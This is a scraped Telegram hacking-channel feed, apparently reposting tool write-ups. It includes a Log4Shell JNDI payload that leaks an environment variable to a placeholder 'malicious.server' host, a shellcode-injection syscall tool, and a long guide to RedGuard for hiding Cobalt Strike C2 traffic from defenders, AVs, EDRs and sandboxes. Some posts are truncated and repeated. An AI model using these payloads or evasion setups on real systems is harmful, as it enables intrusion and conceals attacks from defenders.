Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: > python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}" ${jndi:ldap://16.0.2.staging.malicious.server/a}'>~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a} Authors Daniel Abeles (https://twitter.com/Daniel_Abeles) Ron Vider (https://twitter.com/ron_vider) License The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.

Download Ox4Shell (https://github.com/ox-eye/Ox4Shell)

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
NimGetSyscallStub : Get Fresh Syscalls From A Fresh Ntdll.Dll Copy

NimGetSyscallStub, Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.

The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don’t have to worry about changing Windows versions.

To compile the shellcode execution template run the following:

nim c -d:release ShellcodeInject.nim

The result should look like this:
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjat-K3JsmgPpOThCeSoLAmdkskIIJ8T6MmEqMN8QZyVx9iwFLISFBmlXZNddM1eTwed2hPo-CTQtk_VViTz6sM1XQsfziWaM8aoSEwc-EafnltdHHt1JaWeuJoXnelwZJegqYV4mAKm7tQVnj0-cZYhSeMUnIS3j7CGer9UXd6l7yHjbudlOkb1Su4/s687/PoC.png

Download

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
RedGuard : C2 Front Flow Control Tool, Can Avoid Blue Teams, AVs, EDRs Check

RedGuard, a derivative tool based on command and control (C2) front flow control technology, has a lighter design, efficient traffic interaction, and reliable compatibility with development in the go programming language.As cyber attacks are constantly evolving , the red and blue team exercises become progressively more complex, RedGuard is designed to provide a better C2 channel hiding solution for the red team, that provides the flow control for the C2 channel, blocks the “malicious” analysis traffic, and better completes the entire attack task.

RedGuard is a C2 front flow control tool that can avoid Blue Team, AVS, EDR, Cyberspace Search Engine detects. When is RedGuard Used?* In the offensive and defensive exercise, the investigators attempting to do cyber attribution analyze C2 traffic connected to the attackers with the situational awareness platform
* Prevent malware sample analysis by identifying cloud sandboxes based on JA3 fingerprint libraries
* Block malicious requests to perform replay attacks and achieve obfuscation online
* Restrict access requests by whitelisting in the case of the IP of the connecting server is specified
* Prevent the scanning and identification of C2 facilities by cyberspace mapping technology, and redirect or intercept the traffic of scanning probes
* Supports front flow control for multiple C2 servers, and can realize domain fronting, load balancing connection to achieve hidden effect
* Able to perform regional host connection restriction according to the attribution of IP address by requesting IP reverse lookup API interface
* Resolve strong features of staged checksum8 rule path parsing without changing the source code.
* Analyze blue team traceability behavior through interception logs of target requests, which can be used to track peer connection events/issues
* With the ability to customize the time period for legal interaction of samples to realize the function of only conducting traffic interaction during the working time period
* Malleable C2 Profile parser capable of validating inbound HTTP/S requests strictly against malleable profile and dropping outgoing packets in case of violation (supports Malleable Profiles 4.0+)
* Built-in blacklist of IPV4 addresses for a large number of devices, honeypots, and cloud sandboxes associated with cybersecurity vendors to automatically intercept redirection request traffic
* SSL certificate information and redirect URLs that can interact with samples through custom tools to avoid the fixed signature of tool traffic
* ………. InstallYou can directly download and use the compiled version, or you can download the go package remotely for independent compilation and execution.

git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
You can also use upx to compress the compiled file size
go build -ldflags “-s -w” -trimpath
Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard&&./RedGuard Configuration DescriptionInitializationAs shown in the figure below, Set executable permissions and initialize RedGuard. The first run will generate a configuration file in the current user home directory to achieve flexible function configuration. Configuration file name: .RedGuard_CobaltStrike.ini.

The configuration options of cert are mainly for the configuration information of SSL certificate encrypted HTTPS communication between the sample and the C2 front infrastructure. The proxy is mainly used to configure the control options in the reverse proxy traffic. The specific use will be explained in detail below.

The SSL certificate encrypted HTTPS communication will be generated in the cert-rsa/ directory under the directory where RedGuard is executed. You can start and stop the basic functions of the tool by modifying the configuration file (the serial nu[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials RedGuard : C2 Front Flow Control Tool, Can Avoid Blue Teams, AVs, EDRs Check RedGuard, a derivative tool based on command and control (C2) front flow control technology, has a lighter design, efficient traffic interaction, and reliable…
mber of the certificate is generated according to the timestamp , don’t worry about being associated with this feature).If you want to use your own certificate,Just rename them to ca.crt and ca.key.

openssl x509 -in ca.crt -noout -text

Random TLS JARM fingerprints are updated each time RedGuard is started to prevent this from being used to authenticate C2 infrastructure.

In the case of using your own certificate, modify the HasCert parameter in the configuration file to trueto prevent normal communication problems caused by the incompatibility of the CipherSuites encryption suite with the custom certificate caused by JARM obfuscation randomization.

Whether to use the certificate you have applied for true/false
HasCert = false RedGuard Parametersroot@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard:
-DropAction string
RedGuard interception action (default “redirect”)
-EdgeHost string
Set Edge Host Communication Domain (default ““) -EdgeTarget string Set Edge Host Proxy Target (default ““)
-HasCert string
Whether to use the certificate you have applied for (default “true”)
-allowIP string
Proxy Requests Allow IP (default ““) -allowLocation string Proxy Requests Allow Location (default ““)
-allowTime string
Proxy Requests Allow Time (default ““) -common string Cert CommonName (default “.aliyun.com”)
-config string
Set Config Path
-country string
Cert Country (default “CN”)
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default “:80”)
-https string
Set Proxy HTTPS Port (default “:443”)
-ip string
IPLookUP IP
-locality string
Cert Locality (default “HangZhou”)
-location string
IPLookUP Location (default “风起”)
-malleable string
Set Proxy Requests Filter Malleable File (default “*”)
-organization string
Cert Organization (default “Alibaba (China) Technology Co., Ltd.”)
-redirect string
Proxy redirect URL (default “https://360.net”)
-type string
C2 Server Type (default “CobaltStrike”)
-u Enable configuration file modification Tool UsageBasic interceptionIf you directly access the port of the reverse proxy, the interception rule will be triggered. Here you can see the root directory of the client request through the output log, but because the request does not carry the requested credentials that is the correct HOST request header, the basic interception rule is triggered, and the traffic is redirected to https://360.net

{“360.net”:”http://127.0.0.1:8080″,”360.com”:”https://127.0.0.1:4433″}

It is not difficult to see from the above slice that 360.net is proxied to the local port 8080, 360.com is proxied to the local port 4433, and the HTTP protocol used is also different. In actual use, it is necessary to pay attention to the protocol type of the listener. Consistent with the settings here, and set the corresponding HOST request header.

As shown in the figure above, in the case of unauthorized access, the response information we get is also the return information of the redirected site. interception methodIn the above basic interception case, the default interception method is used, the illegal traffic is intercepted by redirection. By modifying the configuration file, we can change the interception method and the redirected site URL. In fact, rather than calling this a redirect, I think it might be more appropriate to describe it as hijacking, cloning, since the response status code returned is 200, and the response is obtained from another website to mimic the cloned/hijacked website as closely as possible.

Invalid packets can be incorrectly routed according to three strategies:

* reset: Disconnect the TCP connection immediately.
* proxy: Get a response from another website to mimic the cloned/hijacked website as closely as possible.
* redirect: redirect to the specified website and return HTTP status code 302, there is no requirement for the redirected website.

RedGuard interception action: redirect / rest / proxy (Hijack H[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
mber of the certificate is generated according to the timestamp , don’t worry about being associated with this feature).If you want to use your own certificate,Just rename them to ca.crt and ca.key. openssl x509 -in ca.crt -noout -text Random TLS JARM fingerprints…
TTP Response)
drop_action = proxy
URL to redirect to
Redirect = https://360.net

Redirect = URL in the configuration file points to the hijacked URL address. RedGuard supports “hot change”, which means that while the tool is running in the background through nohup, we can still modify the configuration file. The content is started and stopped in real time

./RedGuard -u –drop true

Note that when modifying the configuration file through the command line, The -uoption should not be missing, otherwise the configuration file cannot be modified successfully. If you need to restore the default configuration file settings, you only need to enter ./RedGuard -u.

It can be seen that the C2 front flow control directly close response to illegal requests without the HTTP response code. In the detection of cyberspace mapping, the DROP method can hide the opening of ports. The specific effect can be seen in the following case. analyze. JA3 fingerprint recognition cloud sandbox analysis trafficRedGuard currently supports the function of identifying cloud sandboxes based on JA3 fingerprints, which can identify and intercept network requests initiated in the cloud sandbox environment to prevent subsequent connectivity analysis, which further affects the security of C2 facilities. Proxy port modificationThe configuration of the following two parameters in the configuration file realizes the effect of changing the reverse proxy port. It is recommended to use the default port hiding as long as it does not conflict with the current server port. If it must be modified, then pay attention to the :of the parameter value not to be missing

HTTPS Reverse proxy port
Port_HTTPS = :443
HTTP Reverse proxy port
Port_HTTP = :80 RedGuard logsThe blue team tracing behavior is analyzed through the interception log of the target request, which can be used to track peer connection events/issues. The log file is generated in the directory where RedGuard is running, file name: RedGuard.log. RedGuard Obtain the real IP addressThis section describes how to configure RG to obtain the real IP address of a request. You only need to add the following configuration to the profile of the C2 device, the real IP address of the target is obtained through the request header X-Forwarded-For.

http-config {
set trust_x_forwarded_for “true”;
} Request geographic restrictionsThe configuration method takes AllowLocation = Jinan, Beijingas an example. Note that RedGuard provides two APIs for reverse IP attribution, one for users in mainland China and the other for users in non-mainland China, and can dynamically assign which API to use according to the input geographical domain name, if the target is China Then use Chinese for the set region, otherwise use English place names. It is recommended that users in mainland China use Chinese names, so that the accuracy of the attribution and the response speed of the API obtained by reverse query are the best choices.

P.S. Mainland Chinese users, do not use AllowLocation = Jinan,beijing this way! It doesn’t make much sense, the first character of the parameter value determines which API to use!

Before deciding to restrict the region, you can manually query the IP address by the following command.

./RedGuard –ip 111.14.218.206
./RedGuard –ip 111.14.218.206 –location shandong # Use overseas API to query

Here we set to allow only the Shandong region to go online

egarding the connections of geographical restrictions, it may be more practical in the current offensive and defensive exercise. Basically, the targets of provincial and municipal offensive and defensive exercise restrictions are in designated areas, and the traffic requested by other areas can naturally be ignored. This function of RedGuard can not only limit a single region, but also limit multiple connection regions according to provinces and cities, and intercept the traffic requested by other r[...]

___________________________
@hacking_Attack
@Hacking_Video